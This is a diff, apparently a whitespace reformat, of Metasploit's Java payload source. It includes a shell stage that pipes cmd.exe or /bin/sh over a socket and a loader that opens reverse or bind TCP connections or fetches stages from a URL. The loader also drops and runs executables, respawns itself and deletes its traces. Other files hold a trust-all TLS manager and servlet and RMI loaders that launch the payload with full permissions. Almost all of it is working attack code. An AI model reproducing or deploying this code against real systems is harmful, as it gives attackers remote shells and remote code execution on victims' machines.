public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception { public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
boolean noRedirectError = parameters[parameters.length-1].equals("NoRedirect"); boolean noRedirectError = parameters[parameters.length - 1].equals("NoRedirect");
int coreLen = in.readInt(); int coreLen = in.readInt();
byte[] core = new byte[coreLen]; byte[] core = new byte[coreLen];
in.readFully(core); in.readFully(core);
URL coreURL = MemoryBufferURLConnection.createURL(core, "application/jar"); URL coreURL = MemoryBufferURLConnection.createURL(core, "application/jar");
new URLClassLoader(new URL[] { coreURL }, getClass().getClassLoader()).loadClass("com.metasploit.meterpreter.Meterpreter").getConstructor(new Class[] { DataInputStream.class, OutputStream.class, boolean.class, boolean.class }).newInstance(new Object[] { in, out, Boolean.TRUE, new Boolean(!noRedirectError) }); new URLClassLoader(new URL[]{coreURL}, getClass().getClassLoader()).loadClass("com.metasploit.meterpreter.Meterpreter").getConstructor(new Class[]{DataInputStream.class, OutputStream.class, boolean.class, boolean.class}).newInstance(new Object[]{in, out, Boolean.TRUE, new Boolean(!noRedirectError)});
in.close(); in.close();
out.close(); out.close();
} }
} }

@ -38,19 +38,19 @@ import java.io.DataInputStream;
import java.io.OutputStream; import java.io.OutputStream;
public class Shell implements Stage { public class Shell implements Stage {
public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception { public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
final String[] cmdarray = new String[1]; final String[] cmdarray = new String[1];
if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1) { if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1) {
cmdarray[0] = "cmd.exe"; cmdarray[0] = "cmd.exe";
} else { } else {
cmdarray[0] = "/bin/sh"; cmdarray[0] = "/bin/sh";
} }
final Process proc = Runtime.getRuntime().exec(cmdarray); final Process proc = Runtime.getRuntime().exec(cmdarray);
new StreamForwarder(in, proc.getOutputStream(), out).start(); new StreamForwarder(in, proc.getOutputStream(), out).start();
new StreamForwarder(proc.getInputStream(), out, out).start(); new StreamForwarder(proc.getInputStream(), out, out).start();
new StreamForwarder(proc.getErrorStream(), out, out).start(); new StreamForwarder(proc.getErrorStream(), out, out).start();
proc.waitFor(); proc.waitFor();
in.close(); in.close();
out.close(); out.close();
} }
} }

@ -38,5 +38,5 @@ import java.io.DataInputStream;
import java.io.OutputStream; import java.io.OutputStream;
public interface Stage { public interface Stage {
public abstract void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception; public abstract void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception;
} }

@ -40,60 +40,62 @@ import java.io.OutputStream;
import java.io.PrintStream; import java.io.PrintStream;
public class StreamForwarder extends Thread { public class StreamForwarder extends Thread {
public static void forward(InputStream in, OutputStream out) throws IOException { public static void forward(InputStream in, OutputStream out) throws IOException {
forward(in, out, true); forward(in, out, true);
} }
public static void forward(InputStream in, OutputStream out, boolean closeOut) throws IOException {
try {
final byte[] buf = new byte[4096];
int length;
while ((length = in.read(buf)) != -1) {
if (out != null) {
out.write(buf, 0, length);
if (in.available() == 0) {
out.flush();
}
}
}
} finally {
in.close();
if (closeOut)
out.close();
}
}
private final InputStream in; public static void forward(InputStream in, OutputStream out, boolean closeOut) throws IOException {
private final OutputStream out; try {
final byte[] buf = new byte[4096];
int length;
while ((length = in.read(buf)) != -1) {
if (out != null) {
out.write(buf, 0, length);
if (in.available() == 0) {
out.flush();
}
}
}
} finally {
in.close();
if (closeOut)
out.close();
}
}
private final OutputStream stackTraceOut; private final InputStream in;
private final boolean closeOut; private final OutputStream out;
public StreamForwarder(InputStream in, OutputStream out, OutputStream stackTraceOut) { private final OutputStream stackTraceOut;
this(in,out,stackTraceOut,true); private final boolean closeOut;
}
public StreamForwarder(InputStream in, OutputStream out, OutputStream stackTraceOut, boolean closeOut) {
this.in = in;
this.out = out;
this.stackTraceOut = stackTraceOut;
this.closeOut = closeOut;
}
public void run() { public StreamForwarder(InputStream in, OutputStream out, OutputStream stackTraceOut) {
try { this(in, out, stackTraceOut, true);
forward(in, out, closeOut); }
} catch (final Throwable ex) {
if (stackTraceOut == null) public StreamForwarder(InputStream in, OutputStream out, OutputStream stackTraceOut, boolean closeOut) {
throwWrapped(ex); this.in = in;
ex.printStackTrace(new PrintStream(stackTraceOut, true)); this.out = out;
} this.stackTraceOut = stackTraceOut;
} this.closeOut = closeOut;
}
private static void throwWrapped(Throwable ex) {
/* #JDK1.4 */try { public void run() {
throw new RuntimeException(ex); try {
} catch (NoSuchMethodError ex2) /**/{ forward(in, out, closeOut);
throw new RuntimeException(ex.toString()); } catch (final Throwable ex) {
} if (stackTraceOut == null)
} throwWrapped(ex);
ex.printStackTrace(new PrintStream(stackTraceOut, true));
}
}
private static void throwWrapped(Throwable ex) {
/* #JDK1.4 */
try {
throw new RuntimeException(ex);
} catch (NoSuchMethodError ex2) /**/ {
throw new RuntimeException(ex.toString());
}
}
} }

@ -19,24 +19,24 @@ import javax.crypto.spec.SecretKeySpec;
* other/older JREs to load it. * other/older JREs to load it.
*/ */
public class AESEncryption { public class AESEncryption {
public static Object[] wrapStreams(InputStream in, OutputStream out, String key) throws Exception { public static Object[] wrapStreams(InputStream in, OutputStream out, String key) throws Exception {
DataInputStream din = new DataInputStream(in); DataInputStream din = new DataInputStream(in);
din.readInt(); // first class size 0 as marker in JavaPayload din.readInt(); // first class size 0 as marker in JavaPayload
SecureRandom sr = new SecureRandom(); SecureRandom sr = new SecureRandom();
byte[] outIV = new byte[16]; byte[] outIV = new byte[16];
sr.nextBytes(outIV); sr.nextBytes(outIV);
out.write(outIV); out.write(outIV);
out.flush(); out.flush();
byte[] inIV = new byte[16]; byte[] inIV = new byte[16];
din.readFully(inIV); din.readFully(inIV);
byte[] keyBytes = MessageDigest.getInstance("MD5").digest(key.getBytes()); byte[] keyBytes = MessageDigest.getInstance("MD5").digest(key.getBytes());
Cipher co = Cipher.getInstance("AES/CFB8/NoPadding"); Cipher co = Cipher.getInstance("AES/CFB8/NoPadding");
co.init(Cipher.ENCRYPT_MODE, new SecretKeySpec(keyBytes, "AES"), new IvParameterSpec(outIV), sr); co.init(Cipher.ENCRYPT_MODE, new SecretKeySpec(keyBytes, "AES"), new IvParameterSpec(outIV), sr);
Cipher ci = Cipher.getInstance("AES/CFB8/NoPadding"); Cipher ci = Cipher.getInstance("AES/CFB8/NoPadding");
ci.init(Cipher.DECRYPT_MODE, new SecretKeySpec(keyBytes, "AES"), new IvParameterSpec(inIV), sr); ci.init(Cipher.DECRYPT_MODE, new SecretKeySpec(keyBytes, "AES"), new IvParameterSpec(inIV), sr);
return new Object[] { return new Object[]{
new CipherInputStream(din, ci), new CipherInputStream(din, ci),
new CipherOutputStream(out, co), new CipherOutputStream(out, co),
}; };
} }
} }

@ -1,5 +1,7 @@
package metasploit; package metasploit;
import java.io.*; import java.io.*;
import javax.management.*; import javax.management.*;
public class JMXPayload implements JMXPayloadMBean { public class JMXPayload implements JMXPayloadMBean {

@ -58,195 +58,195 @@ import java.util.Stack;
import java.util.StringTokenizer; import java.util.StringTokenizer;
/** /**
* The main payload loader class. * The main payload loader class.
* * <p/>
* To invoke all the magic, call the {@link #main(String[])} method * To invoke all the magic, call the {@link #main(String[])} method
* (Or use it as Main-Class in a standalone jar and double-click it). * (Or use it as Main-Class in a standalone jar and double-click it).
*/ */
public class Payload extends ClassLoader { public class Payload extends ClassLoader {
public static void main(String[] ignored) throws Exception { public static void main(String[] ignored) throws Exception {
// Find our properties. If we are running inside the jar, they are in a resource stream called "/metasploit.dat". // Find our properties. If we are running inside the jar, they are in a resource stream called "/metasploit.dat".
Properties props = new Properties(); Properties props = new Properties();
Class clazz = Payload.class; Class clazz = Payload.class;
String clazzFile = clazz.getName().replace('.', '/')+".class"; String clazzFile = clazz.getName().replace('.', '/') + ".class";
InputStream propsStream = clazz.getResourceAsStream("/metasploit.dat"); InputStream propsStream = clazz.getResourceAsStream("/metasploit.dat");
if (propsStream != null) { if (propsStream != null) {
props.load(propsStream); props.load(propsStream);
propsStream.close(); propsStream.close();
} }
// check if we should drop an executable
String executableName = props.getProperty("Executable");
if (executableName != null) {
File dummyTempFile = File.createTempFile("~spawn", ".tmp");
dummyTempFile.delete();
File tempDir = new File(dummyTempFile.getAbsolutePath()+".dir");
tempDir.mkdir();
File executableFile = new File(tempDir, executableName);
writeEmbeddedFile(clazz, executableName, executableFile);
props.remove("Executable");
props.put("DroppedExecutable", executableFile.getCanonicalPath());
}
// check if we should respawn
int spawn = Integer.parseInt(props.getProperty("Spawn", "0"));
String droppedExecutable = props.getProperty("DroppedExecutable");
if (spawn > 0) {
// decrease count so that eventually the process
// will stop spawning
props.setProperty("Spawn", String.valueOf(spawn - 1));
// write our class
File dummyTempFile = File.createTempFile("~spawn", ".tmp");
dummyTempFile.delete();
File tempDir = new File(dummyTempFile.getAbsolutePath()+".dir");
File propFile = new File(tempDir, "metasploit.dat");
File classFile = new File(tempDir, clazzFile);
classFile.getParentFile().mkdirs();
// load ourselves via the class loader (works both on disk and from Jar)
writeEmbeddedFile(clazz, clazzFile, classFile);
if(props.getProperty("URL", "").startsWith("https:")) {
writeEmbeddedFile(clazz, "metasploit/PayloadTrustManager.class", new File(classFile.getParentFile(), "PayloadTrustManager.class"));
}
if (props.getProperty("AESPassword", null) != null) {
writeEmbeddedFile(clazz, "metasploit/AESEncryption.class", new File(classFile.getParentFile(), "AESEncryption.class"));
}
FileOutputStream fos = new FileOutputStream(propFile);
props.store(fos, "");
fos.close();
Process proc = Runtime.getRuntime().exec(new String[] {
getJreExecutable("java"),
"-classpath",
tempDir.getAbsolutePath(),
clazz.getName()
});
// the input streams might cause the child process to block if
// we do not read or close them
proc.getInputStream().close();
proc.getErrorStream().close();
// give the process plenty of time to load the class if needed
Thread.sleep(2000);
// clean up (we can even delete the .class file on Windows
// if the process is still running). Note that delete()
// will only delete empty directories, so we have to delete
// everything else first
File[] files = new File[] {
classFile, classFile.getParentFile(), propFile, tempDir
};
for (int i = 0; i < files.length; i++) {
for (int j = 0; j < 10; j++) {
if (files[i].delete())
break;
files[i].deleteOnExit();
Thread.sleep(100);
}
}
} else if (droppedExecutable != null) {
File droppedFile = new File(droppedExecutable);
// File.setExecutable is Java 1.6+, therefore call it via reflection and try
// the chmod alternative if it fails. Do not call it at all for Windows.
if (!IS_DOS) {
try {
try {
File.class.getMethod("setExecutable", new Class[] {boolean.class}).invoke(droppedFile, new Object[] { Boolean.TRUE});
} catch (NoSuchMethodException ex) {
// ok, no setExecutable method, call chmod and wait for it
Runtime.getRuntime().exec(new String[] {"chmod", "+x", droppedExecutable}).waitFor();
}
} catch (Exception ex) {
// try to continue anyway, we have nothing to lose
ex.printStackTrace();
}
}
// now execute the executable.
// tempdir may contain spaces, so do not use the String variant of exec!
Runtime.getRuntime().exec(new String[] {droppedExecutable});
// Linux and other Unices allow removing files while they are in use
if (!IS_DOS) {
droppedFile.delete();
droppedFile.getParentFile().delete();
}
} else {
// check what stager to use (bind/reverse)
int lPort = Integer.parseInt(props.getProperty("LPORT", "4444"));
String lHost = props.getProperty("LHOST", null);
String url = props.getProperty("URL", null);
InputStream in;
OutputStream out;
if (lPort <= 0) {
// debug code: just connect to stdin/stdout
// best used with embedded stages
in = System.in;
out = System.out;
} else if (url != null) {
if (url.startsWith("raw:"))
// for debugging: just use raw bytes from property file
in = new ByteArrayInputStream(url.substring(4).getBytes("ISO-8859-1"));
else if (url.startsWith("https:")) {
URLConnection uc = new URL(url).openConnection();
// load the trust manager via reflection, to avoid loading
// it when it is not needed (it requires Sun Java 1.4+)
Class.forName("metasploit.PayloadTrustManager").getMethod("useFor", new Class[] {URLConnection.class}).invoke(null, new Object[] {uc});
in = uc.getInputStream();
} else
in = new URL(url).openStream();
out = new ByteArrayOutputStream();
} else {
Socket socket;
if (lHost != null) {
// reverse_tcp
socket = new Socket(lHost, lPort);
} else {
// bind_tcp
ServerSocket serverSocket = new ServerSocket(lPort);
socket = serverSocket.accept();
serverSocket.close(); // no need to listen any longer
}
in = socket.getInputStream();
out = socket.getOutputStream();
}
String aesPassword = props.getProperty("AESPassword", null);
if (aesPassword != null) {
// load the crypto code via reflection, to avoid loading
// it when it is not needed (it requires Sun Java 1.4+ or JCE)
Object[] streams = (Object[])Class.forName("metasploit.AESEncryption").getMethod("wrapStreams", new Class[] {InputStream.class, OutputStream.class, String.class}).invoke(null, new Object[] {in, out, aesPassword});
in = (InputStream) streams[0];
out = (OutputStream) streams[1];
}
// build the stage parameters, if any
StringTokenizer stageParamTokenizer = new StringTokenizer("Payload -- "+props.getProperty("StageParameters", ""), " ");
String[] stageParams = new String[stageParamTokenizer.countTokens()];
for (int i = 0; i < stageParams.length; i++) {
stageParams[i] = stageParamTokenizer.nextToken();
}
new Payload().bootstrap(in, out, props.getProperty("EmbeddedStage", null), stageParams);
}
}
private static void writeEmbeddedFile(Class clazz, String resourceName, File targetFile) throws FileNotFoundException, IOException { // check if we should drop an executable
InputStream in = clazz.getResourceAsStream("/"+resourceName); String executableName = props.getProperty("Executable");
FileOutputStream fos = new FileOutputStream(targetFile); if (executableName != null) {
byte[] buf = new byte[4096]; File dummyTempFile = File.createTempFile("~spawn", ".tmp");
int len; dummyTempFile.delete();
while ((len = in.read(buf)) != -1) { File tempDir = new File(dummyTempFile.getAbsolutePath() + ".dir");
fos.write(buf,0,len); tempDir.mkdir();
} File executableFile = new File(tempDir, executableName);
fos.close(); writeEmbeddedFile(clazz, executableName, executableFile);
} props.remove("Executable");
props.put("DroppedExecutable", executableFile.getCanonicalPath());
private final void bootstrap(InputStream rawIn, OutputStream out, String embeddedStageName, String[] stageParameters) throws Exception { }
try {
final DataInputStream in = new DataInputStream(rawIn); // check if we should respawn
Class clazz; int spawn = Integer.parseInt(props.getProperty("Spawn", "0"));
final Permissions permissions = new Permissions(); String droppedExecutable = props.getProperty("DroppedExecutable");
permissions.add(new AllPermission()); if (spawn > 0) {
final ProtectionDomain pd = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), permissions); // decrease count so that eventually the process
// will stop spawning
props.setProperty("Spawn", String.valueOf(spawn - 1));
// write our class
File dummyTempFile = File.createTempFile("~spawn", ".tmp");
dummyTempFile.delete();
File tempDir = new File(dummyTempFile.getAbsolutePath() + ".dir");
File propFile = new File(tempDir, "metasploit.dat");
File classFile = new File(tempDir, clazzFile);
classFile.getParentFile().mkdirs();
// load ourselves via the class loader (works both on disk and from Jar)
writeEmbeddedFile(clazz, clazzFile, classFile);
if (props.getProperty("URL", "").startsWith("https:")) {
writeEmbeddedFile(clazz, "metasploit/PayloadTrustManager.class", new File(classFile.getParentFile(), "PayloadTrustManager.class"));
}
if (props.getProperty("AESPassword", null) != null) {
writeEmbeddedFile(clazz, "metasploit/AESEncryption.class", new File(classFile.getParentFile(), "AESEncryption.class"));
}
FileOutputStream fos = new FileOutputStream(propFile);
props.store(fos, "");
fos.close();
Process proc = Runtime.getRuntime().exec(new String[]{
getJreExecutable("java"),
"-classpath",
tempDir.getAbsolutePath(),
clazz.getName()
});
// the input streams might cause the child process to block if
// we do not read or close them
proc.getInputStream().close();
proc.getErrorStream().close();
// give the process plenty of time to load the class if needed
Thread.sleep(2000);
// clean up (we can even delete the .class file on Windows
// if the process is still running). Note that delete()
// will only delete empty directories, so we have to delete
// everything else first
File[] files = new File[]{
classFile, classFile.getParentFile(), propFile, tempDir
};
for (int i = 0; i < files.length; i++) {
for (int j = 0; j < 10; j++) {
if (files[i].delete())
break;
files[i].deleteOnExit();
Thread.sleep(100);
}
}
} else if (droppedExecutable != null) {
File droppedFile = new File(droppedExecutable);
// File.setExecutable is Java 1.6+, therefore call it via reflection and try
// the chmod alternative if it fails. Do not call it at all for Windows.
if (!IS_DOS) {
try {
try {
File.class.getMethod("setExecutable", new Class[]{boolean.class}).invoke(droppedFile, new Object[]{Boolean.TRUE});
} catch (NoSuchMethodException ex) {
// ok, no setExecutable method, call chmod and wait for it
Runtime.getRuntime().exec(new String[]{"chmod", "+x", droppedExecutable}).waitFor();
}
} catch (Exception ex) {
// try to continue anyway, we have nothing to lose
ex.printStackTrace();
}
}
// now execute the executable.
// tempdir may contain spaces, so do not use the String variant of exec!
Runtime.getRuntime().exec(new String[]{droppedExecutable});
// Linux and other Unices allow removing files while they are in use
if (!IS_DOS) {
droppedFile.delete();
droppedFile.getParentFile().delete();
}
} else {
// check what stager to use (bind/reverse)
int lPort = Integer.parseInt(props.getProperty("LPORT", "4444"));
String lHost = props.getProperty("LHOST", null);
String url = props.getProperty("URL", null);
InputStream in;
OutputStream out;
if (lPort <= 0) {
// debug code: just connect to stdin/stdout
// best used with embedded stages
in = System.in;
out = System.out;
} else if (url != null) {
if (url.startsWith("raw:"))
// for debugging: just use raw bytes from property file
in = new ByteArrayInputStream(url.substring(4).getBytes("ISO-8859-1"));
else if (url.startsWith("https:")) {
URLConnection uc = new URL(url).openConnection();
// load the trust manager via reflection, to avoid loading
// it when it is not needed (it requires Sun Java 1.4+)
Class.forName("metasploit.PayloadTrustManager").getMethod("useFor", new Class[]{URLConnection.class}).invoke(null, new Object[]{uc});
in = uc.getInputStream();
} else
in = new URL(url).openStream();
out = new ByteArrayOutputStream();
} else {
Socket socket;
if (lHost != null) {
// reverse_tcp
socket = new Socket(lHost, lPort);
} else {
// bind_tcp
ServerSocket serverSocket = new ServerSocket(lPort);
socket = serverSocket.accept();
serverSocket.close(); // no need to listen any longer
}
in = socket.getInputStream();
out = socket.getOutputStream();
}
String aesPassword = props.getProperty("AESPassword", null);
if (aesPassword != null) {
// load the crypto code via reflection, to avoid loading
// it when it is not needed (it requires Sun Java 1.4+ or JCE)
Object[] streams = (Object[]) Class.forName("metasploit.AESEncryption").getMethod("wrapStreams", new Class[]{InputStream.class, OutputStream.class, String.class}).invoke(null, new Object[]{in, out, aesPassword});
in = (InputStream) streams[0];
out = (OutputStream) streams[1];
}
// build the stage parameters, if any
StringTokenizer stageParamTokenizer = new StringTokenizer("Payload -- " + props.getProperty("StageParameters", ""), " ");
String[] stageParams = new String[stageParamTokenizer.countTokens()];
for (int i = 0; i < stageParams.length; i++) {
stageParams[i] = stageParamTokenizer.nextToken();
}
new Payload().bootstrap(in, out, props.getProperty("EmbeddedStage", null), stageParams);
}
}
private static void writeEmbeddedFile(Class clazz, String resourceName, File targetFile) throws FileNotFoundException, IOException {
InputStream in = clazz.getResourceAsStream("/" + resourceName);
FileOutputStream fos = new FileOutputStream(targetFile);
byte[] buf = new byte[4096];
int len;
while ((len = in.read(buf)) != -1) {
fos.write(buf, 0, len);
}
fos.close();
}
private final void bootstrap(InputStream rawIn, OutputStream out, String embeddedStageName, String[] stageParameters) throws Exception {
try {
final DataInputStream in = new DataInputStream(rawIn);
Class clazz;
final Permissions permissions = new Permissions();
permissions.add(new AllPermission());
final ProtectionDomain pd = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), permissions);
if (embeddedStageName == null) { if (embeddedStageName == null) {
int length = in.readInt(); int length = in.readInt();
do { do {
@ -256,21 +256,21 @@ public class Payload extends ClassLoader {
length = in.readInt(); length = in.readInt();
} while (length > 0); } while (length > 0);
} else { } else {
clazz = Class.forName("javapayload.stage."+embeddedStageName); clazz = Class.forName("javapayload.stage." + embeddedStageName);
} }
final Object stage = clazz.newInstance(); final Object stage = clazz.newInstance();
clazz.getMethod("start", new Class[] { DataInputStream.class, OutputStream.class, String[].class }).invoke(stage, new Object[] { in, out, stageParameters }); clazz.getMethod("start", new Class[]{DataInputStream.class, OutputStream.class, String[].class}).invoke(stage, new Object[]{in, out, stageParameters});
} catch (final Throwable t) { } catch (final Throwable t) {
t.printStackTrace(new PrintStream(out)); t.printStackTrace(new PrintStream(out));
} }
} }
/// ///
/// The rest of the file is based on code from Apache Ant 1.8.1 /// The rest of the file is based on code from Apache Ant 1.8.1
/// ///
private static final String OS_NAME = System.getProperty("os.name").toLowerCase(Locale.ENGLISH); private static final String OS_NAME = System.getProperty("os.name").toLowerCase(Locale.ENGLISH);
private static final String PATH_SEP = System.getProperty("path.separator"); private static final String PATH_SEP = System.getProperty("path.separator");
private static final boolean IS_AIX = "aix".equals(OS_NAME); private static final boolean IS_AIX = "aix".equals(OS_NAME);
private static final boolean IS_DOS = PATH_SEP.equals(";"); private static final boolean IS_DOS = PATH_SEP.equals(";");
private static final String JAVA_HOME = System.getProperty("java.home"); private static final String JAVA_HOME = System.getProperty("java.home");
@ -348,7 +348,7 @@ public class Payload extends ClassLoader {
} }
return new File(sb.toString()); return new File(sb.toString());
} }
private static String[] dissect(String path) { private static String[] dissect(String path) {
char sep = File.separatorChar; char sep = File.separatorChar;
path = path.replace('/', sep).replace('\\', sep); path = path.replace('/', sep).replace('\\', sep);
@ -382,6 +382,6 @@ public class Payload extends ClassLoader {
root = File.separator; root = File.separator;
path = path.substring(1); path = path.substring(1);
} }
return new String[] {root, path}; return new String[]{root, path};
} }
} }

@ -4,27 +4,30 @@ import java.io.*;
import javax.servlet.*; import javax.servlet.*;
import javax.servlet.http.*; import javax.servlet.http.*;
import java.lang.Thread; import java.lang.Thread;
public class PayloadServlet extends HttpServlet implements Runnable { public class PayloadServlet extends HttpServlet implements Runnable {
public void run() { public void run() {
try { try {
metasploit.Payload.main(new String[] {""}); metasploit.Payload.main(new String[]{""});
} catch (Exception e) {} } catch (Exception e) {
} }
}
protected void doGet(HttpServletRequest req, HttpServletResponse res) protected void doGet(HttpServletRequest req, HttpServletResponse res)
throws ServletException, java.io.IOException throws ServletException, java.io.IOException {
{ PrintWriter out = res.getWriter();
PrintWriter out = res.getWriter();
try { try {
Thread t = new Thread(this); Thread t = new Thread(this);
t.start(); t.start();
} catch(Exception e) { }; } catch (Exception e) {
}
;
out.close(); out.close();
} }
} }

@ -41,6 +41,7 @@ import javax.net.ssl.SSLContext;
import javax.net.ssl.SSLSession; import javax.net.ssl.SSLSession;
import javax.net.ssl.TrustManager; import javax.net.ssl.TrustManager;
import javax.net.ssl.X509TrustManager; import javax.net.ssl.X509TrustManager;
import java.security.cert.X509Certificate; import java.security.cert.X509Certificate;
/** /**
@ -51,36 +52,36 @@ import java.security.cert.X509Certificate;
*/ */
public class PayloadTrustManager implements X509TrustManager, HostnameVerifier { public class PayloadTrustManager implements X509TrustManager, HostnameVerifier {
public X509Certificate[] getAcceptedIssuers() { public X509Certificate[] getAcceptedIssuers() {
// no preferred issuers // no preferred issuers
return new X509Certificate[0]; return new X509Certificate[0];
} }
public void checkClientTrusted(java.security.cert.X509Certificate[] certs, String authType) { public void checkClientTrusted(java.security.cert.X509Certificate[] certs, String authType) {
// trust everyone // trust everyone
} }
public void checkServerTrusted(java.security.cert.X509Certificate[] certs, String authType) { public void checkServerTrusted(java.security.cert.X509Certificate[] certs, String authType) {
// trust everyone // trust everyone
} }
public boolean verify(String hostname, SSLSession session) {
// trust everyone
return true;
}
/** public boolean verify(String hostname, SSLSession session) {
* Called by the {@link Payload} class to modify the given // trust everyone
* {@link URLConnection} so that it uses this trust manager. return true;
*/ }
public static void useFor(URLConnection uc) throws Exception {
if (uc instanceof HttpsURLConnection) { /**
HttpsURLConnection huc = ((HttpsURLConnection) uc); * Called by the {@link Payload} class to modify the given
PayloadTrustManager ptm = new PayloadTrustManager(); * {@link URLConnection} so that it uses this trust manager.
SSLContext sc = SSLContext.getInstance("SSL"); */
sc.init(null, new TrustManager[] { ptm }, new java.security.SecureRandom()); public static void useFor(URLConnection uc) throws Exception {
huc.setSSLSocketFactory(sc.getSocketFactory()); if (uc instanceof HttpsURLConnection) {
huc.setHostnameVerifier(ptm); HttpsURLConnection huc = ((HttpsURLConnection) uc);
} PayloadTrustManager ptm = new PayloadTrustManager();
} SSLContext sc = SSLContext.getInstance("SSL");
sc.init(null, new TrustManager[]{ptm}, new java.security.SecureRandom());
huc.setSSLSocketFactory(sc.getSocketFactory());
huc.setHostnameVerifier(ptm);
}
}
} }

@ -13,35 +13,35 @@ import java.security.cert.Certificate;
public class RMILoader extends ClassLoader implements Serializable { public class RMILoader extends ClassLoader implements Serializable {
public Object readResolve() throws ObjectStreamException { public Object readResolve() throws ObjectStreamException {
try { try {
String[] classes = new String[] { String[] classes = new String[]{
"metasploit/Payload.class", "metasploit/Payload.class",
"metasploit/RMIPayload.class" "metasploit/RMIPayload.class"
}; };
Class clazz = null; Class clazz = null;
for (int i = 0; i < classes.length; i++) { for (int i = 0; i < classes.length; i++) {
Permissions permissions = new Permissions(); Permissions permissions = new Permissions();
permissions.add(new AllPermission()); permissions.add(new AllPermission());
ByteArrayOutputStream out = new ByteArrayOutputStream(); ByteArrayOutputStream out = new ByteArrayOutputStream();
InputStream in = getResourceAsStream(classes[i]); InputStream in = getResourceAsStream(classes[i]);
byte[] buf = new byte[4096]; byte[] buf = new byte[4096];
int len; int len;
while ((len = in.read(buf)) != -1) { while ((len = in.read(buf)) != -1) {
out.write(buf, 0, len); out.write(buf, 0, len);
} }
in.close(); in.close();
byte[] classBytes = out.toByteArray(); byte[] classBytes = out.toByteArray();
clazz = defineClass(null, classBytes, 0, classBytes.length, new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), permissions)); clazz = defineClass(null, classBytes, 0, classBytes.length, new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), permissions));
} }
clazz.newInstance(); clazz.newInstance();
} catch (Exception ex) { } catch (Exception ex) {
throw new RuntimeException(ex.toString()); throw new RuntimeException(ex.toString());
} }
return null; return null;
} }
public URL getResource(String name) { public URL getResource(String name) {
return getClass().getClassLoader().getResource(name); return getClass().getClassLoader().getResource(name);
} }
} }

@ -4,13 +4,13 @@ import java.security.AccessController;
import java.security.PrivilegedExceptionAction; import java.security.PrivilegedExceptionAction;
public class RMIPayload implements PrivilegedExceptionAction { public class RMIPayload implements PrivilegedExceptionAction {
public RMIPayload() throws Exception {
AccessController.doPrivileged(this);
}
public Object run() throws Exception { public RMIPayload() throws Exception {
Payload.main(null); AccessController.doPrivileged(this);
return null; }
}
public Object run() throws Exception {
Payload.main(null);
return null;
}
} }

@ -10,53 +10,53 @@ import java.net.Socket;
import java.rmi.UnmarshalException; import java.rmi.UnmarshalException;
public class RMICaptureServer { public class RMICaptureServer {
// http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html
public static void main(String[] args) throws Exception { // http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html
FileOutputStream fos = new FileOutputStream("build/rmipacket");
ServerSocket ss = new ServerSocket(11099); public static void main(String[] args) throws Exception {
Thread t = new Thread(new Runnable() { FileOutputStream fos = new FileOutputStream("build/rmipacket");
public void run() { ServerSocket ss = new ServerSocket(11099);
try { Thread t = new Thread(new Runnable() {
RMISender.main(new String[] {"file:./rmidummy.jar", "localhost", "11099"}); public void run() {
} catch (UnmarshalException ex) { try {
// expected RMISender.main(new String[]{"file:./rmidummy.jar", "localhost", "11099"});
} catch (Exception ex) { } catch (UnmarshalException ex) {
ex.printStackTrace(); // expected
} } catch (Exception ex) {
} ex.printStackTrace();
}); }
t.setDaemon(true); }
t.start(); });
Socket s = ss.accept(); t.setDaemon(true);
ss.close(); t.start();
DataInputStream in = new DataInputStream(s.getInputStream()); Socket s = ss.accept();
DataOutputStream out = new DataOutputStream(s.getOutputStream()); ss.close();
DataInputStream in = new DataInputStream(s.getInputStream());
byte[] hdr = new byte[7]; DataOutputStream out = new DataOutputStream(s.getOutputStream());
in.readFully(hdr);
if (!new String(hdr, "ISO-8859-1").equals("JRMI\0\2K")) byte[] hdr = new byte[7];
throw new IOException("Unsupported RMI header"); in.readFully(hdr);
if (!new String(hdr, "ISO-8859-1").equals("JRMI\0\2K"))
out.write('N'); throw new IOException("Unsupported RMI header");
out.writeUTF("127.0.0.1");
out.writeInt(11099); out.write('N');
out.flush(); out.writeUTF("127.0.0.1");
out.writeInt(11099);
in.readUTF(); out.flush();
in.readInt();
in.readUTF();
s.setSoTimeout(1000); in.readInt();
try {
byte[] buf = new byte[4096]; s.setSoTimeout(1000);
int len; try {
while ((len = in.read(buf)) != -1) { byte[] buf = new byte[4096];
fos.write(buf, 0, len); int len;
} while ((len = in.read(buf)) != -1) {
} catch (InterruptedIOException ex) { fos.write(buf, 0, len);
// we are done }
} } catch (InterruptedIOException ex) {
fos.close(); // we are done
} }
fos.close();
}
} }

@ -8,30 +8,30 @@ import java.net.Socket;
public class RMIReplaySender { public class RMIReplaySender {
// http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html // http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html
public static void main(String[] args) throws Exception { public static void main(String[] args) throws Exception {
File rmipacket = new File("build/rmipacket"); File rmipacket = new File("build/rmipacket");
System.out.println(rmipacket.length()); System.out.println(rmipacket.length());
DataInputStream in = new DataInputStream(new FileInputStream(rmipacket)); DataInputStream in = new DataInputStream(new FileInputStream(rmipacket));
byte[] packetBytes = new byte[(int)rmipacket.length()]; byte[] packetBytes = new byte[(int) rmipacket.length()];
in.readFully(packetBytes); in.readFully(packetBytes);
in.close(); in.close();
String url = args[0]; String url = args[0];
String dummyURL = "file:./rmidummy.jar"; String dummyURL = "file:./rmidummy.jar";
String packetStr = new String(packetBytes, "ISO-8859-1"); String packetStr = new String(packetBytes, "ISO-8859-1");
int pos = packetStr.indexOf((char)0+""+(char)dummyURL.length() + dummyURL); int pos = packetStr.indexOf((char) 0 + "" + (char) dummyURL.length() + dummyURL);
packetStr = packetStr.substring(0, pos+1) + (char)url.length() + url + packetStr.substring(pos + 2 + dummyURL.length()); packetStr = packetStr.substring(0, pos + 1) + (char) url.length() + url + packetStr.substring(pos + 2 + dummyURL.length());
